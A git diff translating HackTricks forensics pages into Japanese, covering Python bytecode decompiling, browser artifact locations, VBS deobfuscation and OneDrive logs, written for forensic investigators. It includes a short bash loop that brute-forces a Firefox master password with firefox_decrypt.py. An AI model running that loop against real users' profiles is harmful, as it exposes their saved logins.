-**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**その後**、そのマジックヘッダーを**追加**すると、**エラーは修正されるはずです。** +正しく追加された**.pyc python3.8マジックヘッダー**は次のようになります: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### エラー: 汎用エラーの逆コンパイル -### Error: Decompiling generic errors +**他のエラー**として: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` が表示されることがあります。 -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +これはおそらく、**マジックナンバーを正しく追加していない**か、**正しいマジックナンバーを使用していない**ことを意味しますので、**正しいものを使用していることを確認してください**(または新しいものを試してください)。 -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +前のエラーのドキュメントを確認してください。 -Check the previous error documentation. +## 自動ツール -## Automatic Tool +[**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) は、Pythonで書かれた実行可能ファイルの逆コンパイルとアンパックを支援するために設計された、いくつかのコミュニティで利用可能なツールの組み合わせとして機能します。特に、py2exeおよびpyinstallerで作成されたものに特化しています。これは、実行可能ファイルがPythonベースであるかどうかを特定するためのYARAルールを含み、作成ツールを確認します。 -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: ファイル名: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' が存在しません -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +一般的な問題は、**unpy2exeまたはpyinstxtractorを使用したアンパックプロセス**の結果として不完全なPythonバイトコードファイルが発生し、その後**Pythonバイトコードバージョン番号が欠落しているためにuncompyle6によって認識されない**ことです。これに対処するために、必要なPythonバイトコードバージョン番号を追加するprependオプションが追加され、逆コンパイルプロセスを容易にします。 +問題の例: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Pythonアセンブリの分析 -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +前のステップに従ってpythonの「オリジナル」コードを抽出できなかった場合は、**アセンブリ**を**抽出**してみてください(ただし、**あまり説明的ではない**ので、**再度**オリジナルコードを抽出してみてください)。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、_.pyc_ バイナリを**逆アセンブル**するための非常にシンプルなコードを見つけました(コードフローを理解するのは大変かもしれません)。_.pyc_ がpython2のものであれば、python2を使用してください: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Pythonを実行可能ファイルに変換する -## Python to Executable +まず、payloadがpy2exeとPyInstallerでどのようにコンパイルされるかを示します。 -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### py2exeを使用してpayloadを作成するには: +1. [http://www.py2exe.org/](http://www.py2exe.org) からpy2exeパッケージをインストールします。 +2. payload(この場合、hello.pyと名付けます)には、図1のようなスクリプトを使用します。オプション「bundle_files」の値を1に設定すると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。 +3. スクリプトが準備できたら、「python setup.py py2exe」というコマンドを発行します。これにより、図2のように実行可能ファイルが作成されます。 ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### PyInstallerを使用してペイロードを作成するには: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. pipを使用してPyInstallerをインストールします(pip install pyinstaller)。 +2. その後、「pyinstaller –onefile hello.py」というコマンドを発行します(‘hello.py’は私たちのペイロードです)。これにより、すべてが1つの実行可能ファイルにバンドルされます。 ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## 参考文献 - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..8592c74a6 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +ここでは、特定のファイルタイプおよび/またはソフトウェアに関する興味深いトリックを見つけることができます: {{#ref}} .pyc.md diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index ba35ea1fd..29af2ad9d 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,139 +1,129 @@ -# Browser Artifacts +# ブラウザのアーティファクト {{#include ../../../banners/hacktricks-training.md}} -
+## ブラウザのアーティファクト -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、ウェブブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、オペレーティングシステム内の特定のフォルダーに保存され、ブラウザごとに場所や名前が異なりますが、一般的には同様のデータタイプを保存しています。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +最も一般的なブラウザのアーティファクトの概要は次のとおりです: -## Browsers Artifacts - -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. - -Here's a summary of the most common browser artifacts: - -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **ナビゲーション履歴**:ユーザーが訪れたウェブサイトを追跡し、悪意のあるサイトへの訪問を特定するのに役立ちます。 +- **オートコンプリートデータ**:頻繁な検索に基づく提案で、ナビゲーション履歴と組み合わせることで洞察を提供します。 +- **ブックマーク**:ユーザーが迅速にアクセスするために保存したサイト。 +- **拡張機能とアドオン**:ユーザーがインストールしたブラウザの拡張機能やアドオン。 +- **キャッシュ**:ウェブコンテンツ(例:画像、JavaScriptファイル)を保存し、ウェブサイトの読み込み時間を改善します。法医学的分析にとって価値があります。 +- **ログイン情報**:保存されたログイン資格情報。 +- **ファビコン**:ウェブサイトに関連付けられたアイコンで、タブやブックマークに表示され、ユーザーの訪問に関する追加情報に役立ちます。 +- **ブラウザセッション**:開いているブラウザセッションに関連するデータ。 +- **ダウンロード**:ブラウザを通じてダウンロードされたファイルの記録。 +- **フォームデータ**:ウェブフォームに入力された情報で、将来のオートフィル提案のために保存されます。 +- **サムネイル**:ウェブサイトのプレビュー画像。 +- **Custom Dictionary.txt**:ユーザーがブラウザの辞書に追加した単語。 ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefoxは、ユーザーデータをプロファイル内に整理し、オペレーティングシステムに基づいて特定の場所に保存します: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +これらのディレクトリ内の`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`内の`Path`変数に名前が付けられたフォルダーに保存され、`profiles.ini`自体と同じディレクトリにあります。プロファイルのフォルダーが欠けている場合、それは削除された可能性があります。 -Within each profile folder, you can find several important files: +各プロファイルフォルダー内には、いくつかの重要なファイルがあります: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**:履歴、ブックマーク、ダウンロードを保存します。Windows上の[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)のようなツールで履歴データにアクセスできます。 +- 特定のSQLクエリを使用して履歴とダウンロード情報を抽出します。 +- **bookmarkbackups**:ブックマークのバックアップを含みます。 +- **formhistory.sqlite**:ウェブフォームデータを保存します。 +- **handlers.json**:プロトコルハンドラーを管理します。 +- **persdict.dat**:カスタム辞書の単語。 +- **addons.json**および**extensions.sqlite**:インストールされたアドオンと拡張機能に関する情報。 +- **cookies.sqlite**:クッキーの保存、Windows上での検査には[MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)が利用可能です。 +- **cache2/entries**または**startupCache**:キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html)のようなツールを通じてアクセスできます。 +- **favicons.sqlite**:ファビコンを保存します。 +- **prefs.js**:ユーザー設定と好み。 +- **downloads.sqlite**:古いダウンロードデータベースで、現在はplaces.sqliteに統合されています。 +- **thumbnails**:ウェブサイトのサムネイル。 +- **logins.json**:暗号化されたログイン情報。 +- **key4.db**または**key3.db**:機密情報を保護するための暗号化キーを保存します。 -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内の`browser.safebrowsing`エントリを検索し、安全なブラウジング機能が有効または無効になっているかを示します。 +マスターパスワードを解読しようとする場合は、[https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)を使用できます。\ +次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (417).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chromeは、オペレーティングシステムに基づいて特定の場所にユーザープロファイルを保存します: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +これらのディレクトリ内では、ほとんどのユーザーデータが**Default/**または**ChromeDefaultData/**フォルダーに見つかります。以下のファイルは重要なデータを保持しています: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: URL、ダウンロード、検索キーワードを含みます。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html)を使用して履歴を読むことができます。「Transition Type」列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。 +- **Cookies**: クッキーを保存します。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html)が利用可能です。 +- **Cache**: キャッシュデータを保持します。検査するには、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)を利用できます。 +- **Bookmarks**: ユーザーのブックマーク。 +- **Web Data**: フォーム履歴を含みます。 +- **Favicons**: ウェブサイトのファビコンを保存します。 +- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含みます。 +- **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンタブに関するデータ。 +- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。 +- **Extensions**: ブラウザ拡張機能やアドオンのディレクトリ。 +- **Thumbnails**: ウェブサイトのサムネイルを保存します。 +- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。 +- **Browser’s built-in anti-phishing**: 反フィッシングおよびマルウェア保護が有効かどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を実行します。出力に`{"enabled: true,"}`を探します。 ## **SQLite DB Data Recovery** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +前のセクションで観察できるように、ChromeとFirefoxの両方が**SQLite**データベースを使用してデータを保存しています。**削除されたエントリを回復することが可能です** [**sqlparse**](https://github.com/padfoot999/sqlparse) **または** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)を使用します。 ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11は、データとメタデータをさまざまな場所で管理し、保存された情報とその対応する詳細を分離して簡単にアクセスおよび管理できるようにします。 ### Metadata Storage -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Internet Explorerのメタデータは、`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`に保存されます(VXはV01、V16、またはV24です)。これに伴い、`V01.log`ファイルは`WebcacheVX.data`との修正時間の不一致を示す場合があり、`esentutl /r V01 /d`を使用して修復が必要です。このメタデータはESEデータベースに格納されており、photorecや[ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)などのツールを使用して回復および検査できます。**Containers**テーブル内では、各データセグメントが保存されている特定のテーブルやコンテナを識別でき、Skypeなどの他のMicrosoftツールのキャッシュ詳細も含まれています。 ### Cache Inspection -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html)ツールを使用すると、キャッシュの検査が可能で、キャッシュデータ抽出フォルダーの場所が必要です。キャッシュのメタデータには、ファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュ作成、アクセス、修正、期限切れのタイムスタンプが含まれます。 ### Cookies Management -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +クッキーは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)を使用して探索でき、メタデータには名前、URL、アクセス回数、さまざまな時間関連の詳細が含まれます。永続的なクッキーは`%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`に保存され、セッションクッキーはメモリに存在します。 ### Download Details -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +ダウンロードのメタデータは[ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)を介してアクセス可能で、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが保持されています。物理ファイルは`%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`に見つかります。 ### Browsing History -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +ブラウジング履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)を使用し、抽出された履歴ファイルの場所とInternet Explorerの設定が必要です。ここでのメタデータには、修正およびアクセス時間、アクセス回数が含まれます。履歴ファイルは`%userprofile%\Appdata\Local\Microsoft\Windows\History`にあります。 ### Typed URLs -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +入力されたURLとその使用時間は、レジストリの`NTUSER.DAT`内の`Software\Microsoft\InternetExplorer\TypedURLs`および`Software\Microsoft\InternetExplorer\TypedURLsTime`に保存され、ユーザーが入力した最後の50のURLとその最後の入力時間を追跡します。 ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edgeは、ユーザーデータを`%userprofile%\Appdata\Local\Packages`に保存します。さまざまなデータタイプのパスは次のとおりです: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,24 +133,24 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Safariデータは`/Users/$User/Library/Safari`に保存されます。主なファイルは次のとおりです: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: `history_visits`および`history_items`テーブルにURLと訪問タイムスタンプが含まれています。`sqlite3`を使用してクエリを実行します。 +- **Downloads.plist**: ダウンロードされたファイルに関する情報。 +- **Bookmarks.plist**: ブックマークされたURLを保存します。 +- **TopSites.plist**: 最も頻繁に訪問されたサイト。 +- **Extensions.plist**: Safariブラウザ拡張機能のリスト。`plutil`または`pluginkit`を使用して取得します。 +- **UserNotificationPermissions.plist**: プッシュ通知を許可されたドメイン。`plutil`を使用して解析します。 +- **LastSession.plist**: 最後のセッションのタブ。`plutil`を使用して解析します。 +- **Browser’s built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`を使用して確認します。1の応答は機能がアクティブであることを示します。 ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Operaのデータは`/Users/$USER/Library/Application Support/com.operasoftware.Opera`にあり、履歴とダウンロードの形式はChromeと共有されています。 -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: `grep`を使用してPreferencesファイル内の`fraud_protection_enabled`が`true`に設定されているか確認します。 -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +これらのパスとコマンドは、さまざまなウェブブラウザによって保存されたブラウジングデータにアクセスし、理解するために重要です。 ## References @@ -169,12 +159,4 @@ These paths and commands are crucial for accessing and understanding the browsin - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..eab18a01a 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +悪意のあるVBSファイルをデバッグ/デオブフスケートするのに役立ついくつかのこと: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## コメント ```bash ' this is a comment ``` - -## Test - +## テスト ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## ファイルにデータを書き込む ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 99792162b..3a0de71fc 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,95 @@ -# Local Cloud Storage +# ローカルクラウドストレージ {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Windowsでは、OneDriveフォルダーは `\Users\\AppData\Local\Microsoft\OneDrive` にあります。そして `logs\Personal` 内には、同期されたファイルに関する興味深いデータを含む `SyncDiagnostics.log` ファイルがあります: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- バイト単位のサイズ +- 作成日 +- 修正日 +- クラウド内のファイル数 +- フォルダー内のファイル数 +- **CID**: OneDriveユーザーのユニークID +- レポート生成時間 +- OSのHDのサイズ -Once you have found the CID it's recommended to **search files containing this ID**. 